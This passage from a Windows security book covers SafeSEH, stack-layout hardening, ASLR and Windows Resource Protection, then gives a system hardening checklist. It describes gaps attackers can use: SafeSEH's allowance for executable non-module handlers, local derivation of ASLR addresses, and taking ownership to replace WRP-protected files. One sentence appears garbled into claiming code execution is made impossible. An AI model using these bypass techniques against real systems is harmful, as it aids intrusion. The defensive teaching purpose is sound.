TRUE;\n else\n return FALSE;\n }\n}\n" }, { "page_number": 424, "text": "396 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n// otherwise...\nif (&handler is on an NX page) {\n if (DEP is turned on) {\n bail(STATUS_ACCESS_VIOLATION);\n else\n return TRUE;\n }\n}\nif (&handler is on a page mapped MEM_IMAGE) {\n// normally only true for executable modules\n if (SEHTable == NULL && SEHCount == 0) {\n return TRUE;\n // probably an old or 3rd party DLL\n // without SEH registrations\n }\n return FALSE // we should have caught this before\n // so something is wrong.\n}\n// Handler is on a eXecutable page, but not in module space\n// Allow it for compatibility.\nreturn TRUE;\nThe implications of these checks are significant from an exploitability standpoint. \nThis mechanism removes our ability to bounce off pop,pop,ret locations within \nloaded images that contain SEH registrations and therefore our ability to gain code \nexecution easily via an SEH overwrite. However, as Nagy points out, the door remains \nslightly ajar. If the address is located outside of a loaded module and is marked executable, \nthe handler address is allowed.\nSafeSEH Considerations\nA limitation of this design, as pointed out in Matt Miller’s (send this guy beer) excellent \npaper “Preventing the Exploitation of SEH Overwrites,” is rooted in the fact that this \ncontrol is implemented at compile time instead of runtime. As such, legacy applications \nand third-party software may not be protected. In his paper, Miller describes a more \nflexible approach to solving the SEH overwrite problem via runtime modifications. \nInstead of relying on a list of safe exception handlers, Miller’s solution calls for adding a \ncustom registration record, or validation frame, to the end of the ExceptionList\nduring thread startup. Additionally, ntdll!KiUserExceptionDispatcher is hooked \nto provide an opportunity to walk the ExceptionList and ensure that the validation \nframe can be reached. If the validation frame can be reached, the solution assumes that \nno SEH overwrite has occurred. If the validation frame cannot be reached, the solution \nassumes that an SEH overwrite has occurred and prevents further execution. This \nbehavior is founded on the following:\n• To obtain control via an SEH overwrite, the attacker must clobber the Handler.\n" }, { "page_number": 425, "text": "Chapter 12: Windows Security Features and Tools \n397\n• If the Handler is clobbered, so, too, must be the Next attribute. This is because \nthe Next attribute is lower on the stack than the Handler.\n• If the Next attribute is clobbered, the ability to walk the ExceptionList to its \nend is eliminated.\nSo what prevents an attacker from overwriting the Next attribute with the address \nof the validation frame, provided he knows it? Nothing, really. However, if we recall \nfrom earlier in this section, after execution returns from the pop,pop,ret sequence, it \nlands at the location of the Next attribute. If an attacker attempts to fool Miller’s solution \nby overwriting the Next attribute with the address of the validation frame, the process \nwill crash because the address will more than likely represent invalid processor \ninstructions. If, by chance, the address converts to valid instructions, the possibility of \nthose instructions causing execution to jump to an attacker controlled location (before \nrunning into the Handler) is slim. This solution, or any other for that matter, renders \narbitrary code execution impossible. It does, however, greatly reduce the efficacy of \ncurrent SEH exploitation methods.\nStack Changes\nIt should be fairly apparent that stack layout plays a huge role in the exploitability of \nvarious conditions. With this in mind, Microsoft made a few modifications to the stack \nlayout to reduce the probability of evil people doing bad things to your CPU. To this end, \nthe compiler shipped with Visual Studio 2005 has the ability to detect potentially sensitive \nfunction arguments and place copies of them before local buffers—effectively getting \nthem out of the way in the event a local buffer is overrun. Figures 12-13 and 12-14 \nillustrate this change.\nFigure 12-13 Previous stack\nFigure 12-14 Stack with protected \narguments\n" }, { "page_number": 426, "text": "398 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nCode within the function will then reference the copied version. This reduces an \nattacker’s ability to overflow a local buffer and obtain control of the function’s arguments \nthat are used prior to the function returning. Additionally, according to Brandon Bray, \nthis will also protect against a scenario that may allow an attacker to abuse out parameters \nto bypass GS checks by overwriting the value of the security cookie with a known value. \nAs you can see, this is a small but effective tweak that is raising the bar for attackers.\nAddress Space Layout Randomization\nPreviously, we touched on the importance, from an attacker’s perspective, of having \nsome knowledge regarding the whereabouts of useful or controllable data. For example, \nwhen we discussed SafeSEH, it became apparent that an attacker commonly relies on \nknowing the location of useful instructions, such as pop, pop, ret, to pass execution to \nhis exploit. Public attacks against Data Execution Protection (DEP), generic return \naddress overwrites, and so on, typically depend on some preconceptions regarding \nmemory location. Heck, even the existence of the Metasploit opcode database and its \n14,210,634 address mappings infers a certain degree of significance. So what happens if \nwe are able to strip an attacker of this ally—this ability to predict where in memory \nhelpful instructions and controllable data are located? Would this be an end to remote \ncode execution exploits? Would all vulnerabilities be categorized as merely denial of \nservice and the iDefense and 3Com bug bounties disappear? More than likely not, but it \nwould make life a lot more difficult for an attacker. And so this is what Microsoft did \nwith Vista; it took a page out of the UNIX world’s book and cooked up the ability to \nrandomize the location of where executable images (DLLs, EXEs, and so on), heap, and \nstack allocations reside.\nEnrolling in ASLR\nLike the previously discussed safeguards in this section, ASLR is also enabled on a per-\nimage basis via a build time parameter. In this case it’s a linker option, /DYNAMICBASE.\nActually, unless you’ve built your applications with the linker shipped with Visual \nStudio 2005 SP1 or the Windows Driver Kit, your applications aren’t enrolled in ASLR. \nThis is because previous versions of link.exe do not support it (http://support.microsoft \n.com/kb/922822). Unlike GS or SafeSEH, the image doesn’t provide Windows with \nmuch more than an indication that it’s willing to play along with ASLR. In fact, all this \nlinker option does is toggle a flag in the DLLCharacteristics attribute of the \napplication’s IMAGE_OPTIONAL_HEADER structure. This can be observed by executing \nthe following commands:\nc:\\tools>link /EDIT /DYNAMICBASE:NO test.exe\nMicrosoft (R) COFF/PE Editor Version 8.00.50727.220\nCopyright (C) Microsoft Corporation. All rights reserved.\nc:\\tools>dumpbin /headers | grep \"DLL characteristics\"\n 0 DLL characteristics\nc:\\tools>link /EDIT /DYNAMICBASE test.exe\nMicrosoft (R) COFF/PE Editor Version 8.00.50727.220\nCopyright (C) Microsoft Corporation. All rights reserved.\n" }, { "page_number": 427, "text": "Chapter 12: Windows Security Features and Tools \n399\nc:\\tools>dumpbin /headers | grep \"DLL characteristics\"\n 40 DLL characteristics\nHere we can see that the DLLCharacteristics flags have been updated from 0 to \n0x40 when we enabled the /DYNAMICBASE option. If we jump over to MSDN, we can \nlearn the meaning of this value:\nIMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040 THE DLL can be relocated \nat load time.\nAnd there we have it.\nYou should take a couple of things away from this. First, ASLR is an opt-in security \nmechanism, meaning unless your software vendors linked their applications \nappropriately, it may not be as effective as ASLR for that process. Second, we can easily \ndetermine which applications and DLLs have or have not opted in to ASLR by simply \ninspecting the DLLCharacteristics attribute. A quick scan of the C:\\Windows\\\nSystem32 directory on a slightly used Vista Ultimate system showed that 1676 of 1767 \nexe/dll files enrolled in ASLR.\nASLRConsiderations\nWhen Vista reboots, the system selects one of 256 64KB-aligned addresses in which to \nstart loading ASLR enrolled images. As such, the address of these images will remain \nconstant across processes until the system is rebooted. A caveat to this is all processes \nusing a given image have unloaded it. In this scenario, when the image is loaded back \ninto memory, it may be loaded at a different address.\nSo what are the implications of all this? From a remote attacker’s perspective, ASLR \nremains effective as the remote attacker has (in most cases) no way to determine the load \naddress of images. However, a local attacker can derive the addresses of useful DLLs by \nattaching a debugger to one of the attacker’s own processes. Because the load address of \nDLLs is fairly constant across processes, the probability of the same DLL being loaded at \nthe same location within a privileged process is high. As such, the efficacy of ASLR on \nthe local landscape is fairly reduced. To be fair, ASLR was not designed to protect against \nlocal attacks. Matt Miller suggested that processes of differing privilege levels should \nutilize different address mappings. This may help reduce a local attacker’s ability to \nexploit highly privileged applications successfully because the attacker would no longer \nknow the address of useful instructions.\nWINDOWS RESOURCE PROTECTION\nLike Windows 2000 and Windows XP, Windows Vista comes equipped with a mechanism \nto protect critical system resources: it’s called Windows Resource Protection (WRP). Like \nits ancestor, Windows File Protection (WFP), WRP attempts to ensure that critical files \nare not intentionally or unintentionally modified. However, WRP takes this one step \nfurther by protecting Registry values as well.\nLike WFP, WRP stashes away copies of files that are critical to system stability. The \nlocation, however, has moved from %SystemRoot%\\System32\\dllcache to %Windir%\\\n" }, { "page_number": 428, "text": "400 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nWinSxS\\Backup, and the mechanism for protecting these files has also changed a bit. \nThere is no longer a System File Protection thread running to detect modifications to \ncritical files. Instead, WRP relies on Access Control Lists (ACLs). As such, it should be no \nsurprise that WRP is always enabled.\nUnder WRP, the ability to write to a protected resource is granted only to the \nTrustedInstaller principal—this excludes Administrators as well. This can be observed in \nFigures 12-15 and 12-16.\nLike other discretionary ACLs, those supporting WRP can be modified as well. In a \nmoment we will discuss how they can be modified to allow the replacement of WRP-\nprotected resources. In the absence of these modifications, only the following actions can \nreplace a WRP-protected resource:\n• Windows Update installed by TrustedInstaller\n• Windows Service Packs installed by TrustedInstaller\n• Hotfi xes installed by TrustedInstaller\n• Operating system upgrades installed by TrustedInstaller\nFigure 12-15 Administrators lacking Write privilege\n" }, { "page_number": 429, "text": "Chapter 12: Windows Security Features and Tools \n401\nAs previously mentioned, workarounds for WRP exist. By default, the local \nAdministrators group has the SeTakeOwnership right, as shown under User Rights \nAssignment within the Local Security Policy (Figure 12-17).\nWith this privilege, a principal can take ownership of the WRP-protected resource. At \nthis point, permissions applied to the protected resource can be changed arbitrarily by \nthe owner, and the resource can be modified, replaced, or deleted.\nRemember that WRP isn’t designed to be an end-all security feature. The primary \npurpose for this technology is to prevent third-party installers from modifying resources \nthat are critical to the OS’s stability. One of the benefits of knowing how to disable WRP \nis to make life easier when you’re reverse-engineering or instrumenting a process. \nDepending on what you’re after, you may want to alter the process’s behavior. To do this, \nyou have two primary choices: patch the process during runtime or patch the .dll or .exe \non disk. The former requires you to apply the patch every time the process executes, the \nlatter is a one-time shot.\nFigure 12-16 TrustedInstaller with Full Control\n" }, { "page_number": 430, "text": "402 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nSUMMARY\nThe issues covered in this chapter underlie the core countermeasures to the many attacks \ndiscussed in this book. Hopefully, this brief coverage has helped give you a bird’s-eye \nview of how these measures can be leveraged most effectively to defend against malicious \nhackers of all levels of sophistication.\nREFERENCES AND FURTHER READING\nReference\nLocation\nWindows Vista Trusted \nPlatform Module Services \nStep-by-Step Guide\nhttp://technet.microsoft.com/en-us/\nwindowsvista/aa905092.aspx\nTrusted Platform Module \n(TPM) Specifi cations\nwww.trustedcomputinggroup.org/specs/TPM\nFigure 12-17 Administrators group with SeTakeOwnership privilege\n" }, { "page_number": 431, "text": "Chapter 12: Windows Security Features and Tools \n403\nReference\nLocation\nUnderstanding and Working \nin Protected Mode Internet \nExplorer\nhttp://msdn2.microsoft.com/en-us/library/\nBb250462.aspx\nBitLocker Drive Encryption: \nTechnical Overview\nhttp://technet.microsoft.com/en-us/\nwindowsvista/aa906017.aspx\nBitLocker Drive Encryption \nHardware Enhanced Data \nProtection\nhttp://download.microsoft.com/download/5/\nb/9/5b97017b-e28a-4bae-ba48-174cf47d23cd/\nCPA064_WH06.ppt\nWindows BitLocker Drive \nEncryption Step-by-Step \nGuide\nhttp://technet2.microsoft.com/WindowsVista/en/\nlibrary/c61f2a12-8ae6-4957-b031-97b4d762cf311033 \n.mspx?mfr=true\nIdentity and Access Control\nhttp://technet2.microsoft.com/WindowsVista/en/\nlibrary/ba1a3800-ce29-4f09-89ef-65bce923cdb51033\n.mspx?mfr=true\nSecure Startup—Full Volume \nEncryption: Technical \nOverview\nhttp://download.microsoft.com/download/5/\nD/6/5D6EAF2B-7DDF-476B-93DC-7CF0072878E6/\nsecure-start_tech.doc\nTrusted Platform Module \nServices in Windows \nLonghorn\nhttp://www.microsoft.com/resources/ngscb/\nWinHEC05.mspx\nMark Russinovich’s blog\nhttp://blogs.technet.com/markrussinovich/\narchive/2007/02/12/638372.aspx\nTeach Your Apps to Play \nNicely with Windows Vista \nUser Account Control\nhttp://msdn.microsoft.com/msdnmag/\nissues/07/01/UAC/default.aspx#S2\nSYSTEM_MANDATORY_\nLABEL_ACE Structure\nhttp://msdn2.microsoft.com/en-us/library/\naa965848.aspx\nServices in Windows Vista\nwww.microsoft.com/whdc/system/vista/\nVista_Services.mspx\nImpact of Session 0 Isolation \non Services and Drivers in \nWindows Vista\nhttp://download.microsoft.com/download/9/\nc/5/9c5b2167-8017-4bae-9fde-d599bac8184a/\nSession0_Vista.doc\nCompiler Security Checks in \nDepth\nhttp://msdn2.microsoft.com/en-us/library/\naa290051(VS.71).aspx#vctchcompilersecuritycheck\nsindepth\n/GS (Buffer Security Check)\nhttp://msdn2.microsoft.com/en-us/library/\n8dbf701c(VS.80).aspx\nIMAGE_OPTIONAL_\nHEADER Structure\nhttp://msdn2.microsoft.com/en-us/library/\nms680339.aspx\n" }, { "page_number": 432, "text": "404 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nAnalysis of GS Protections in \nMicrosoft Windows Vista\nwww.symantec.com/avcenter/reference/\nGS_Protections_in_Vista.pdf\n“Defeating the Stack Based \nBuffer Overfl ow Prevention \nMechanism of Microsoft \nWindows 2003 Server,” by \nDavid Litchfi eld\nwww.ngssoftware.com/papers/defeating-w2k3-\nstack-protection.pdf\nApplying the Principle of \nLeast Privilege to Windows \nVista\nwww.microsoft.com/technet/community/\ncolumns/secmgmt/sm1006.mspx\nThe Trusted Platform Module \n(TPM) FAQ\nwww.trustedcomputinggroup.org/faq/TPMFAQ/\nHardening Stack-based \nBuffer Overrun Detection \nin VC++ 2005 SP1 (Michael \nHoward’s Blog)\nhttp://blogs.msdn.com/michael_howard/\narchive/2007/04/03/hardening-stack-based-\nbuffer-overrun-detection-in-vc-2005-sp1.aspx\nShattering by Example\nwww.security-assessment.com/fi les/whitepapers/\nShattering_By_Example-V1_03102003.pdf\n“Security Engineering in \nWindows Vista,” by John \nLambert\nwww.blackhat.com/presentations/bh-usa-06/\nBH-US-06-Lambert.pdf\nIntel Architecture Software \nDeveloper’s Manual Volume 2\nhttp://download.intel.com/design/PentiumII/\nmanuals/24319102.PDF\nCreating a Filtered Token\nhttp://msdn.microsoft.com/msdnmag/\nissues/07/01/UAC/default.aspx#S2\nSEH (Structured Exception \nHandling) Security Changes \nin XPSP2 and 2003 SP1\nwww.eeye.com/html/resources/newsletters/vice/\nVI20060830.html#vexposed\nPreventing the Exploitation \nof SEHOverwrites\nhttp://uninformed.org/?v=5&a=2&t=pdf\nBuffer Overfl ow: History of \nExploitation\nhttp://en.wikipedia.org/wiki/Buffer_\noverfl ow#History_of_exploitation\nBypassing Windows \nHardware-enforced Data \nExecution Prevention\nhttp://uninformed.org/?v=2&a=4&t=pdf\nSecurity Improvements to the \nWhidbey Compiler\nhttp://blogs.msdn.com/branbray/\narchive/2003/11/11/51012.aspx\n" }, { "page_number": 433, "text": "405\nA\nWindows \nSecurity \nChecklist\n" }, { "page_number": 434, "text": "406 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nB\ny now, your head is probably spinning with the number of possible avenues of \nattack against Windows. How do you counteract them all?\nThis appendix is designed to cut through your workload and summarizes the \nmost critical security countermeasures covered in this book. It is neither a blow-by-blow \nreiteration of the preceding pages nor a comprehensive recitation of every security-\nrelevant setting available on Windows 2000 and later. Nevertheless, we think it covers \n100 percent of the important things you need to consider regarding NT family security, \nbased on our combined years of experience. The goal here—as it has been throughout \nthe book—is not to achieve perfect security, but rather to decrease the burden on system \nadministrators, while raising the bar for potential attackers.\nCAVEAT EMPTOR: ROLES AND RESPONSIBILITIES\nThe most difficult thing about building a generic Windows security checklist is accounting \nfor the many roles that the OS can play on a network. It can act as a stand-alone computer, \na member of a domain, a domain controller, a web server, a Terminal Services Application \nServer, a file and print server, a firewall, and uncountable other roles and combinations.\nThe recommendations made in this checklist are quite restrictive, and they may not \nbe appropriate for the role Windows plays in your environment. Where possible, we \nhave noted certain restrictive configurations that will inhibit specific functionality; \nultimately, you will have to be the judge of the effectiveness of these recommendations \nafter thoroughly testing them in your own environment.\nThis being said, we think the most restrictive recommendations should always be \nfollowed unless a convincing business case can be made to relax them. Use good \njudgment.\nOne final word on the topic of system roles: security best practices dictate that systems \nshould be single-purposed whenever possible. We recognize that the constraints of \nbudgets and time don’t always make this feasible, but with the price of hardware \nnowadays, plus the existence of virtualization technology, we think keeping systems \nsingle-purposed is well worth the small additional expenditure to reduce the attack \nsurface of the network.\nPREINSTALLATION CONSIDERATIONS\nWindows security starts even before the OS is installed. Here’s what you need to consider \nbefore you remove the shrink-wrap from the CD-ROM:\n• Ensure that inappropriate information about the system and its administrators \ncannot be found in Internet Registry databases available via whois and that \ndial-up access numbers are not published inappropriately.\n• Make sure that the system is protected by a network security device (such as a \nfi rewall) that is confi gured to limit access to the system on only those ports that \nare necessary for it to serve its role. Put more plainly, block all communications \nthat are not specifi cally permitted.\n" }, { "page_number": 435, "text": "Appendix A: Windows Security Checklist \n407\n• Implement features on surrounding network devices designed to inhibit the \nimpact of denial of service attacks (see Hacking Exposed 5th Edition for more \ninformation on DoS).\n• Install Windows cleanly; upgrading from prior versions can introduce weak \npermissions on fi le and Registry keys, so we do not recommend it. For automated \ninstalls, pay strict attention to the integrity of the networked source fi les.\n• Ensure that the system is physically secured (see Chapter 11 for more details). \nDon’t forget to consider proximity to wireless communications such as 802.11x \nand Bluetooth.\n• Set a BIOS password if possible, including one specifi c to any hard drives in the \nsystem if your system hardware vendor implements ATA-3 and later.\n• Set BIOS Boot Sequence to hard disk only; do not permit boot using a fl oppy \nor CD-ROM.\n• Consider physically uninstalling removable media drives such as fl oppy \ndisks or CD-ROM drives that could be used to boot the system to an \nalternative OS.\n• Create at least two NTFS partitions: one for the system (C:), and one for data \n(we’ll refer to this as the E: partition in this checklist). This is especially important \nwith Vista and BitLocker Drive Encryption—setting the partitions right the fi rst \ntime saves a ton of effort.\n• Do not install unnecessary networking protocols.\nBASIC WINDOWS HARDENING\nFollowing are the basic steps to hardening a Windows 2000 and later system for a generic \nrole. Our recommendations are broken into two parts: steps that must be performed \nmanually, and those that can be performed via a Security Template (http://support \n.microsoft.com/kb/816585). Recall that custom Security Templates can be designed to \nconfigure features that are not listed in the standard templates that ship with Windows, \nbut you must directly edit the .INF files to do this.\nNon-Template Recommendations\nThese recommendations are not easily implemented using Security Templates:\n• Set SYSKEY in password- or fl oppy-protected mode (type Run…SYSKEY and \nset the appropriate mode). Store the password or fl oppy in a secure place.\n• Windows 2000 and earlier only: Disable the storage of the LAN Manager hash in \nthe Security Agents Monitor (SAM) by creating the following Registry key (not \na value!):\nHKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\NoLmHash\n" }, { "page_number": 436, "text": "408 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThis is not supported by Microsoft and may break applications. This setting is available in Windows XP \nand later via Security Policy, and it should be configured there if available.\n• If you are using IIS, move the IIS virtual roots (C:\\Inetpub, and so on) to a \nsecond NTFS partition (E:). Use the ROBOCOPY Robust File Copy tool from the \nReskit with the /SEC /MOVE switches to preserve NTFS ACLs on directories \nand fi les (otherwise, permissions will be reset to Everyone:Full Control on the \ndestination).\n• Verify that any system vendor-installed drivers or applications do not introduce \nsecurity risks. (For example, the Compaq Insight Manager service that comes \npreinstalled on many Compaq machines had a known fi le disclosure vulnerability \nin early versions.)\n• If they are not needed, disable NetBIOS & SMB services (TCP/UDP 135–139 and \n445) by disabling File and Print Sharing for Microsoft networks, as discussed in \nChapter 4. This will prevent use of the system as a fi le and print server, and it \nmay cause issues with NetBIOS name resolution. Neither fi le and print services \nnor NetBIOS name resolution is important for typical web servers.\nDisabling these and other services can be accomplished through Group Policy.\n• Lock out the true Administrator account using passprop from the Reskit \n(requires Windows 2000 Service Pack 2 or later).\n• Rename the true Administrator, and create a decoy Administrator account that \nis not a member of any group. This can be done via Security Policy on Windows \nXP and later.\n• Carefully scrutinize employees who require administrative privileges, and \nensure that proper policies are in place to limit their access beyond their term \nof employment.\n• On all Windows 9x systems in your environment, implement LAN Manager \nAuthentication Level equal to 3 using the DSClient update from the Support \nTools (see KB article Q239869). This is also referred to as LMCompatibility level.\n• Install an antimalware application, keep the signature database updated, and \nscan the system regularly.\n• Create an Emergency Repair Disk (ERD) using Run…ntbackup, label it, and \nstore it safely.\nApply the Most Recent Service Packs and Hotfi xes\nApplying the most recent service packs and hotfixes from Microsoft for the operating \nsystem and all applications (Internet Explorer, SQL Server, and so on) is perhaps one of \nthe most important steps you can take to secure Windows.\nThe greatest security risk comes from vulnerabilities that are widely published and \ngenerally addressed by a security bulletin and/or patch from Microsoft. Since such \n" }, { "page_number": 437, "text": "Appendix A: Windows Security Checklist \n409\nvulnerabilities are so widely known, and the Internet community typically distributes \nexploit code for such issues with prompt regularity, they represent the highest risk to \nyour Windows deployment. It is thus imperative that you apply the patches for these \nvulnerabilities.\nFor enterprise-class organizations, we recommend using Microsoft’s SMS with the \nSoftware Update Services (SUS) Feature Pack. For smaller organizations, use SUS in stand-\nalone mode (free from www.microsoft.com). For manual inventory of patches, use Microsoft \nBaseline Security Analyzer (or a tool such as srvinfo from the Reskit). We also recommend \ngood third-party patch management tools such as HFNetChk Pro from Shavlik.\nFinally, slipstreaming patches/service packs into source builds is an important tool \nto improve efficiency for subsequent builds to avoid lengthy patching times.\nService Accounts and LSA Secrets\nIf you are deploying the system into a Windows domain, remember the lessons of the \nLSA Secrets cache discussed in Chapter 7. If domain accounts are configured to log on to \nthe local system to start services, the passwords for those domain accounts can be \nrevealed in cleartext by Administrator-equivalent users (including attackers). This attack \nwill even reveal passwords for accounts from domains trusted by the one in which the \nsystem is deployed. We thus strongly recommend against allowing services to start in \nthe context of domain accounts. If you must, use a domain account with very restricted \nprivileges—remember that every local Administrator on every machine in the domain or \ntrusting domains where this account is deployed to log on as a service will essentially be \nable to grab the cleartext password with ease!\nSecurity Templates Recommendations\nThe following recommendations can be set using Security Templates. By design of the \nin-the-box Security Templates that ship with Windows, they should be applied in \nsequence. Depending on your environment, the last template that should be applied is \nthe hisecws template, which can be applied as follows (must be in %windir%\\security\\\ntemplates):\nsecedit /configure /cfg hisecws.inf /db hisecws.sdb /log hisecws.log /verbose\nThe hisecws template may not be stringent enough for your system. Following are \nour amplifications and modifications to settings that can be set using Security Templates, \nas summarized from the many chapters in this book. We have listed additional, even \nmore comprehensive, templates produced by third parties at the end of this appendix.\nDisable any other unnecessary services. The only services required on Windows 2000 \nand later are the following:\n• DNS Client\n• Event Log\n• Logical Disk Manager\n• Plug & Play\n" }, { "page_number": 438, "text": "410 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Protected Storage\n• Security Accounts Manager\nThese additional services are not required but may be needed to implement some of \nthe other recommendations in this checklist:\n• IPSec Policy Agent\n• Network Connections Manager\n• Remote Procedure Call\n• Remote Registry Service\n• RunAs Service\nA domain controller additionally requires the following:\n• DNS server (unless a DNS server that supports dynamic updates is already \navailable)\n• File Replication Service (if greater than one DC)\n• Kerberos Key Distribution Center\n• NetLogon\n• NT LM Service Provider\n• RPC Locator\n• Windows Time\n• TCP/IP NetBIOS helper\n• Server (when sharing resources or running AD)\n• Workstation (when connecting to resources)\nIn addition, follow these steps:\n• Set stronger ACLs on administrative tools, and delete or move them if \nnecessary. Set executable fi les in %systemroot%\\system32 to Everyone:Read, \nAdministrators:Full, SYSTEM:Full.\n• Enforce strong passwords using Security Policy\\Account Policies\\Passwords \nMust Meet Complexity Requirements.\n• Enable account lockout using Security Policy\\Account Policies\\Account \nLockout Policy.\n• If access to SMB services is permitted, set RestrictAnonymous=2 on Windows \n2000. (This is called Additional Restrictions For Anonymous Connections in \nSecurity Policy; see KB articles Q143474 and Q246261.) For Windows XP and \nlater, use the appropriate settings in Security Policy under the Network Access \nheaders. (See Chapter 4 for a full discussion of these recommendations.)\n• Set the LAN Manager Authentication Level to at least 3 on all systems in your \nenvironment, especially legacy systems such as Windows 9x, which can \n" }, { "page_number": 439, "text": "Appendix A: Windows Security Checklist \n411\nimplement LMAuthentication Level 3 using the DSClient update from the \nWindows 2000 Support Tools.\n• Restrict interactive logon to the most trusted user accounts only!\n• Admins should thoroughly evaluate Software Restriction Policies (SRP) as a \nmeans of limiting what executables are run on their managed servers/desktops.\nAuditing\nAlthough not a preventative measure, enabling auditing is critical for high-security \nsystems so that attacks can be identified and proactive steps can be taken.\n• Enable auditing of Success/Failure for all events under Security Policy\\Audit \nPolicy, except for Process Tracking. Review the logs frequently. (Use automated \nlog analysis and reporting tools as warranted.)\n• Confi gure specifi c objects for auditing as required—remember that the Audit \nObject Access setting under Audit Policy only enables the potential for auditing \nspecifi c object access; it does not confi gure it globally for all objects (as some \nmight think).\n• Check the audit logs frequently for Auditing Disabled events. This is a sign that \nsomeone is trying to cover the tracks of an intrusion, especially if performed by \nthe SYSTEM account.\n• Transactional log aggregation is really the only way to assure log integrity. \nMicrosoft Operations Manager (MOM) v3 and some third-party tools have \nthis feature.\nWindows Firewall and IPSec\nBecause of its ability to selectively block network traffic from reaching a system, the \nWindows Firewall makes a great all-around addition to any security checklist. Starting \nwith Windows Vista, Windows Firewall can be managed via Group Policy, supports \noutbound filtering, and also integrates management of IPSec rules, so it can be managed \nacross the enterprise to implement a comprehensive Windows communication security \nprogram. (Technically, Group Policy templates were available for the Firewall in XP SP2, \nbut complete integration is available in Vista.)\nSpeaking of IPSec, don’t forget that IPSec rules offer some additional properties \nbeyond Windows Firewall, primarily the ability to specify the type of protocol and \nauthentication that must be enforced for specific machines to communicate. This enables \nvirtual segmentation of large networks into IPSec-protected zones.\nIf you implement IPSec filters to protect your servers, make sure that you check the \nfollowing Registry value:\nHKLM\\SYSTEM\\CurrentControlSet\\Services\\IPSEC\\NoDefaultExempt, REG_DWORD=1\nIn Windows 2000’s default state, this value does not exist, and IPSec filters by default \nexempt certain types of traffic from filtering (see KB article Q253169). This gives attackers \nan opening through which to bypass IPSec filters entirely. Setting NoDefaultExempt=1 \n" }, { "page_number": 440, "text": "412 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nnarrows the window significantly by removing the exemption for Kerberos and RSVP \ntraffic. You will manually have to set up specific filters for Kerberos traffic if you need to \nallow it. This Registry value will not block broadcast, multicast, or IKE traffic, so be \naware that IPSec filters are not airtight protection.\nOn Windows Server 2003, additional values are implemented, and the default setting \nis 3. You can use the netsh tool to fiddle with this setting, but why mess with the most \nsecure if it is the default?\nJust to reiterate, set the NoDefault Exempt Registry key to 1 when using IPSec filters on Windows \n2000, and set it to 3 on Windows Server 2003 (the default), or your filters will provide significantly \nreduced security.\nWe’ve found that IPSec is often poorly understood, especially the difference between functional \nmodes, Filtering, Authentication, and Encryption. Check out www.microsoft.com/technet/network/\nipsec/default.mspx for complete information.\nGroup Policy\nGroup Policy is one of the key features underlying the Windows domain security model. \nWith Group Policy, you can import Security Templates and push them out to an entire \nActive Directory site, domain, or organizational unit (OU). Even better, Group Policy can \ninclude Windows Firewall/IPSec rules, so restrictive communications settings can be \npushed out this way as well. We won’t go into detail in this short checklist on how to use \nGroup Policy to its full potential, but direct the reader to http://en.wikipedia.org/wiki/\nGroup_Policy.\nMiscellaneous Confi gurations\nFollowing are a few settings that apply only to situations in which the system fulfills a \nspecific role, such as a domain controller, or systems that have specific services enabled, \nsuch as SNMP.\nDomain Controllers\n• Pay special attention to the physical security of domain controllers. They hold \naccount information for everyone on the domain! And if they serve as part of a \nPKI implementation, they also have the root keys!\n• Confi gure Windows DNS servers to restrict zone transfers to explicitly defi ned \nhosts, or disable zone transfers entirely (which is done by default starting in \nWindows Server 2003).\n• Carefully restrict untrusted access to the Active Directory–specifi c services, \nTCP/UDP 389 and 3268. Use network fi rewalls, Windows Firewall/IPSec fi lters, \nor any other mechanism available.\n• Remove the Everyone identity from the pre–Windows 2000 Compatible Access \non domain controllers if possible. This is a backward-compatibility mode that \n" }, { "page_number": 441, "text": "Appendix A: Windows Security Checklist \n413\nallows NT RAS and SQL services to access user objects in the directory. If you \ndon’t require this legacy compatibility, turn it off. Plan your migration to Active \nDirectory such that RAS and SQL servers are upgraded fi rst, so that you do not \nneed to run in backward-compatibility mode (see KB article Q240855).\nSNMP\n• If you must enable SNMP (and we recommend against it), block untrusted \naccess to the SNMP Service. You can confi gure the Windows SNMP Service to \nrestrict access to explicitly defi ned IP addresses, as shown in Chapter 4. (You \ncan also use the Windows Firewall for this, of course, or IPsec to encrypt and \nauthenticate SNMP traffi c.)\n• Set complex, non-default community names for SNMP services if you use them!\n• If you must use SNMP on Windows machines, set the appropriate ACLs on\nHKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities\n \nAlso, delete the LAN Manager MIB under\nHKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ExtensionAgents\n \n(Delete the value that contains the LANManagerMIB2Agent string, and then \nrename the remaining entries to update the sequence.)\nWEB APPLICATION SECURITY CONSIDERATIONS\nRunning a web application on Windows changes the security requirements dramatically. \nBy design, the system will be connected to the most hostile of public networks—the \nInternet. Thus, no amount of under-preparation is acceptable.\nFrom the platform perspective, given that Windows has already been selected as the \noperating system, most people will choose to implement their web application on IIS. \nThankfully, the IIS product development team at Microsoft has learned over many years \nof being the hacking community’s whipping post how to build a hardened web server \nimplementation. Thus, our best advice to anyone implementing IIS is to upgrade to IIS \nversion 6 or greater. Version 6 accumulates all of the best security features and fixes \nimplemented over the years (such as the excellent URLScan URL firewall) out of the box, \nrequiring minimal configuration.\nFor those of you old-school IIS 4 and 5 diehards, read the Microsoft IIS 4 Security Checklist and/or \nthe Secure Internet Information Services 5 Checklist. And remember that all this stuff is done for you \non IIS 6 and later!\nThe Center for Internet Security offers an Apache Web Server Security Benchmark at cisecurity.org.\nOf course, no amount of platform configuration will save you from an application-\nlevel attack. Even if you implement every item in this checklist exactly, you will still need \n" }, { "page_number": 442, "text": "414 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nto invest appropriate resources into developing your web application securely. All of the \ncountermeasures described here won’t do a thing to stop an intruder who enters your \nwebsite as a “legitimate” anonymous or authorized user. At the application level, all it \ntakes is one bad assumption in the logic of your site design, and all the careful steps you’ve \ntaken to harden Windows and IIS will be for naught. Don’t hesitate to bring in outside \nexpertise if your web development team isn’t security-savvy, and certainly plan to have an \nunbiased third 